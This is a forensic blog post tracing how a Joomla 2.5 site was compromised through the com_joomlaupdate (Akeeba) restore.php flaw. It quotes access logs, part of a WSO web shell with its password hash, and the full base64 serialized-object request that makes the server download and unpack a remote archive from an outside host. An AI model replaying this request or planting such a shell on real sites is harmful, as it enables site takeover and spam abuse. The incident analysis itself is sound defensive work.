Joomla website hacked through Akeeba component (com_joomlaupdate)

Written by Claudio Kuenzler - 0 comments

Published on February 25th 2015 - Listed in Hacks Internet PHP

---

It all started with another typical spamming incident, where an uploaded script was used to send spams.
It only took me a short time to find out which script was used to send the spams, because all php mail() functions are logged on my systems:

mail() on [/var/www/web138/html/pat/tmp/install_512a97c9c4b10/media/cms/start.php:1]: To: dansa10@yahoo.com -- Headers: From: "Rene Wise"   Reply-To:"Rene Wise"   X-Priority: 3 (Normal)  MIME-Version: 1.0  Content-Type: text/html; charset="iso-8859-1"  Content-Transfer-Encoding: 8bit
mail() on [/var/www/web138/html/pat/tmp/install_512a97c9c4b10/media/cms/start.php:1]: To: dansa5@aol.com -- Headers: From: "Rene Wise"   Reply-To:"Rene Wise"   X-Priority: 3 (Normal)  MIME-Version: 1.0  Content-Type: text/html; charset="iso-8859-1"  Content-Transfer-Encoding: 8bit

The offending file was uploaded on February 24th at 05:52 server time:

ll /var/www/web138/html/pat/tmp/install_512a97c9c4b10/media/cms/start.php
-rw-r--r-- 1 www-data www-data 64693 Feb 24 05:52 /var/www/web138/html/pat.hacked/tmp/install_512a97c9c4b10/media/cms/start.php

start.php on the other hand was uploaded by using a POST on another file (menu.php):

176.31.148.191 - - [24/Feb/2015:05:51:59 +0100] "POST /tmp/install_512a97c9c4b10/libraries/joomla/document/html/menu.php HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
176.31.148.191 - - [24/Feb/2015:05:52:00 +0100] "GET /tmp/install_512a97c9c4b10/media/cms/start.php HTTP/1.1" 200 67 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"

And menu.php was on the server just a few minutes longer than start.php:

ll /var/www/web138/html/pat/tmp/install_512a97c9c4b10/libraries/joomla/document/html/menu.php
-rw-r--r-- 1 www-data www-data 510 Feb 24 05:49 /var/www/web138/html/pat.hacked/tmp/install_512a97c9c4b10/libraries/joomla/document/html/menu.php

Now when I traced back, how menu.php came on the system, I came across a ton of POST requests on several uploaded php files, but it all originated on one php script:

208.113.155.169 - - [24/Feb/2015:05:49:12 +0100] "GET /tmp/ro1gy.php HTTP/1.1" 200 113 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
208.113.155.169 - - [24/Feb/2015:05:49:12 +0100] "POST /tmp/ro1gy.php HTTP/1.1" 200 3736 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
208.113.155.169 - - [24/Feb/2015:05:49:13 +0100] "POST /tmp/ro1gy.php HTTP/1.1" 200 7598 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"

I just had to look a few seconds at ro1gy.php to know what it is:

cat ro1gy.php
$auth_pass = "e9c5e04b500b79603746d088128f7ad1";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
[...]

The last line tells it all: Another WSO (Web Shell). When the file ro1gy.php is called in the browser, a password request comes up:

I didn't even have to change the $auth_pass value in the file, because a quick search for the MD5 hash easily revealed the password.
Once logged in, the typical WSO interface appeared:

Over the years I have seen quite a few hacks where WSO shells were uploaded. The interesting part follows now though: How did the WSO script land on the server?
The timestamp reveals, that ro1gy.php landed on the server on February 24th at 04:24:

ll /var/www/web138/html/pat/tmp/ro1gy.php
-rw-r--r--  1 www-data www-data  67630 Feb 24 04:24 ro1gy.php

And here again another php script, sfx.php, was used for the upload:

212.117.184.185 - - [24/Feb/2015:04:24:29 +0100] "POST /tmp/sfx.php HTTP/1.1" 200 20 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
212.117.184.185 - - [24/Feb/2015:04:24:29 +0100] "GET /tmp/ro1gy.php HTTP/1.1" 200 113 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

How sfx.php came on the system, is finally the real hack. The file was uploaded with a simple GET request by using a vulnerability in the com_joomlaupdate (which is part of Akeeba Backup) component:

212.117.184.185 - - [24/Feb/2015:03:41:14 +0100] "GET /administrator/components/com_joomlaupdate/restore.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24"
212.117.184.185 - - [24/Feb/2015:03:41:14 +0100] "GET /administrator/components/com_joomlaupdate/restore.php?task=stepRestore&factory=Tzo5OiJBS0ZhY3RvcnkiOjI6e3M6MjE6IgBBS0ZhY3RvcnkAb2JqZWN0bGlzdCI7YToyOntzOjE1%0AOiJBS1VuYXJjaGl2ZXJaSVAiO086MTU6IkFLVW5hcmNoaXZlclpJUCI6MzU6e3M6MjA6ImV4cGVj%0AdERhdGFEZXNjcmlwdG9yIjtiOjA7czozNDoiAEFLVW5hcmNoaXZlckpQQQBhcmNoaXZlSGVhZGVy%0ARGF0YSI7YTowOnt9czoxMToiACoAZmlsZW5hbWUiO3M6NjM6Imh0dHA6Ly93d3cuYW50aWF0b21z%0AemVuZS5pbmZvL3RlbXBsYXRlcy9yaHVrX3BsYW5ldGZhbGwvc2Z4LnppcCI7czoxMToiYXJjaGl2%0AZUxpc3QiO2E6MTp7aTowO3M6NjM6Imh0dHA6Ly93d3cuYW50aWF0b21zemVuZS5pbmZvL3RlbXBs%0AYXRlcy9yaHVrX3BsYW5ldGZhbGwvc2Z4LnppcCI7fXM6OToidG90YWxTaXplIjtpOjA7czoyMDoi%0AACoAY3VycmVudFBhcnROdW1iZXIiO2k6LTE7czoyMDoiACoAY3VycmVudFBhcnRPZmZzZXQiO2k6%0ANDtzOjI1OiIAKgBmbGFnUmVzdG9yZVBlcm1pc3Npb25zIjtpOjA7czoxNzoiACoAcG9zdFByb2NF%0AbmdpbmUiO086MTY6IkFLUG9zdHByb2NEaXJlY3QiOjg6e3M6MTE6IgAqAGZpbGVuYW1lIjtOO3M6%0AODoiACoAcGVybXMiO2k6NDkzO3M6MTU6IgAqAHRlbXBGaWxlbmFtZSI7TjtzOjk6InRpbWVzdGFt%0AcCI7aTowO3M6MjU6IgBBS0Fic3RyYWN0T2JqZWN0AF9lcnJvcnMiO2E6MDp7fXM6MjE6IgAqAF9l%0AcnJvcnNfcXVldWVfc2l6ZSI7aTowO3M6Mjc6IgBBS0Fic3RyYWN0T2JqZWN0AF93YXJuaW5ncyI7%0AYTowOnt9czoyMzoiACoAX3dhcm5pbmdzX3F1ZXVlX3NpemUiO2k6MDt9czoxMDoiACoAYWRkUGF0%0AaCI7czoxMzoiLi4vLi4vLi4vdG1wLyI7czoxMToicmVuYW1lRmlsZXMiO2E6Mjp7czo5OiIuaHRh%0AY2Nlc3MiO3M6MTI6Imh0YWNjZXNzLmJhayI7czo3OiJwaHAuaW5pIjtzOjExOiJwaHAuaW5pLmJh%0AayI7fXM6MTA6InJlbmFtZURpcnMiO2E6MDp7fXM6OToic2tpcEZpbGVzIjthOjc6e2k6MDtzOjEx%0AOiJyZXN0b3JlLnBocCI7aToxO3M6MTM6ImtpY2tzdGFydC5waHAiO2k6MjtzOjE3OiJhYmlhdXRv%0AbWF0aW9uLmluaSI7aTozO3M6MTI6Imh0YWNjZXNzLmJhayI7aTo0O3M6MTE6InBocC5pbmkuYmFr%0AIjtpOjU7czo0NzoiYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9ha2VlYmEvcmVzdG9yZS5w%0AaHAiO2k6NjtzOjUxOiJhZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2FrZWViYS9yZXN0b3Jh%0AdGlvbi5waHAiO31zOjEyOiIAKgBjaHVua1NpemUiO2k6NTI0Mjg4O3M6NToiACoAZnAiO2k6MDtz%0AOjExOiIAKgBydW5TdGF0ZSI7aTowO3M6MTM6IgAqAGZpbGVIZWFkZXIiO047czoxNzoiACoAZGF0%0AYVJlYWRMZW5ndGgiO2k6MDtzOjEzOiIAKgBpc1ByZXBhcmVkIjtiOjE7czoxMjoiACoAaXNSdW5u%0AaW5nIjtiOjA7czoxMzoiACoAaXNGaW5pc2hlZCI7YjowO3M6OToiACoAaGFzUmFuIjtiOjA7czox%0ANjoiACoAYWN0aXZlX2RvbWFpbiI7czowOiIiO3M6MTQ6IgAqAGFjdGl2ZV9zdGVwIjtzOjA6IiI7%0AczoxNzoiACoAYWN0aXZlX3N1YnN0ZXAiO3M6MDoiIjtzOjE5OiIAKgBfcGFyYW1ldGVyc0FycmF5%0AIjthOjY6e3M6ODoiZmlsZW5hbWUiO3M6NjM6Imh0dHA6Ly93d3cuYW50aWF0b21zemVuZS5pbmZv%0AL3RlbXBsYXRlcy9yaHVrX3BsYW5ldGZhbGwvc2Z4LnppcCI7czoxOToicmVzdG9yZV9wZXJtaXNz%0AaW9ucyI7aTowO3M6OToicG9zdF9wcm9jIjtzOjY6ImRpcmVjdCI7czo4OiJhZGRfcGF0aCI7czox%0AMzoiLi4vLi4vLi4vdG1wLyI7czoxMjoicmVuYW1lX2ZpbGVzIjthOjI6e3M6OToiLmh0YWNjZXNz%0AIjtzOjEyOiJodGFjY2Vzcy5iYWsiO3M6NzoicGhwLmluaSI7czoxMToicGhwLmluaS5iYWsiO31z%0AOjEwOiJza2lwX2ZpbGVzIjthOjc6e2k6MDtzOjExOiJyZXN0b3JlLnBocCI7aToxO3M6MTM6Imtp%0AY2tzdGFydC5waHAiO2k6MjtzOjE3OiJhYmlhdXRvbWF0aW9uLmluaSI7aTozO3M6MTI6Imh0YWNj%0AZXNzLmJhayI7aTo0O3M6MTE6InBocC5pbmkuYmFrIjtpOjU7czo0NzoiYWRtaW5pc3RyYXRvci9j%0Ab21wb25lbnRzL2NvbV9ha2VlYmEvcmVzdG9yZS5waHAiO2k6NjtzOjUxOiJhZG1pbmlzdHJhdG9y%0AL2NvbXBvbmVudHMvY29tX2FrZWViYS9yZXN0b3JhdGlvbi5waHAiO319czoxNToiACoAZGF0YWJh%0Ac2VSb290IjthOjA6e31zOjMyOiIAQUtBYnN0cmFjdFBhcnQAd2FybmluZ3NfcG9pbnRlciI7aTow%0AO3M6MTI6IgAqAG9ic2VydmVycyI7YToxOntzOjE5OiJSZXN0b3JhdGlvbk9ic2VydmVyIjtPOjE5%0AOiJSZXN0b3JhdGlvbk9ic2VydmVyIjozOntzOjE1OiJjb21wcmVzc2VkVG90YWwiO2k6MDtzOjE3%0AOiJ1bmNvbXByZXNzZWRUb3RhbCI7aTowO3M6MTQ6ImZpbGVzUHJvY2Vzc2VkIjtpOjA7fX1zOjI1%0AOiIAQUtBYnN0cmFjdE9iamVjdABfZXJyb3JzIjthOjA6e31zOjIxOiIAKgBfZXJyb3JzX3F1ZXVl%0AX3NpemUiO2k6MDtzOjI3OiIAQUtBYnN0cmFjdE9iamVjdABfd2FybmluZ3MiO2E6MDp7fXM6MjM6%0AIgAqAF93YXJuaW5nc19xdWV1ZV9zaXplIjtpOjA7czoxNzoiYXJjaGl2ZUhlYWRlckRhdGEiO086%0AODoic3RkQ2xhc3MiOjA6e31zOjY6Imhhc1J1biI7YjowO31zOjE2OiJBS1Bvc3Rwcm9jRGlyZWN0%0AIjtyOjEzO31zOjE4OiIAQUtGYWN0b3J5AHZhcmxpc3QiO2E6Mzp7czoyNzoia2lja3N0YXJ0LnNl%0AY3VyaXR5LnBhc3N3b3JkIjtzOjA6IiI7czoyNjoia2lja3N0YXJ0LnNldHVwLnNvdXJjZWZpbGUi%0AO3M6NjM6Imh0dHA6Ly93d3cuYW50aWF0b21zemVuZS5pbmZvL3RlbXBsYXRlcy9yaHVrX3BsYW5l%0AdGZhbGwvc2Z4LnppcCI7czoxNzoia2lja3N0YXJ0LmVuYWJsZWQiO2I6MTt9fQ== HTTP/1.1" 200 4549 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24"

Now there's a known vulnerability of the Akeeba Backup component which is described in these words:

"It is possible for a remote attacker to extract a remotely hosted archive while you are extracting a backup archive / installing an update, depending on your server settings."

The full description can be found here. There's even an exploit ready to be used for attacking Joomla websites (http://www.exploit-db.com/exploits/35033/). So together with Metasploit, this exploit can be used to attack a Joomla website without even having to do the hack manually.

According to the full description above, there is a hotfix which can be applied (to manually patch restore.php). And by taking a look at the exploit's description, the vulnerable Joomla versions are defined:

        This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
        3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
        component, which is responsible for Joomla! updates. Nevertheless it is worth to note
        that this vulnerability is only exploitable during the update of the Joomla! CMS.

Both websites mention, that the Joomla version is only vulnerable during an update. As a matter of fact, the website owner updated his Joomla a while ago but did not remove the temporary update folder - and unwillingly let the door open to use this vulnerability.

By checking out the version of the Joomla installation the hack is no surprise:

        /** @var  string  Product name. */
        public $PRODUCT = 'Joomla!';

        /** @var  string  Release version. */
        public $RELEASE = '2.5';

        /** @var  string  Maintenance version. */
        public $DEV_LEVEL = '20';

        /** @var  string  Development STATUS. */
        public $DEV_STATUS = 'Stable';

        /** @var  string  Build number. */
        public $BUILD = '';

        /** @var  string  Code name. */
        public $CODENAME = 'Ember';

        /** @var  string  Release date. */
        public $RELDATE = '30-April-2014';

Once again the hack could have been prevented, if Joomla and its components would have been updated more regularly.

Add a comment

Show form to leave a comment

Comments (newest first)

No comments yet.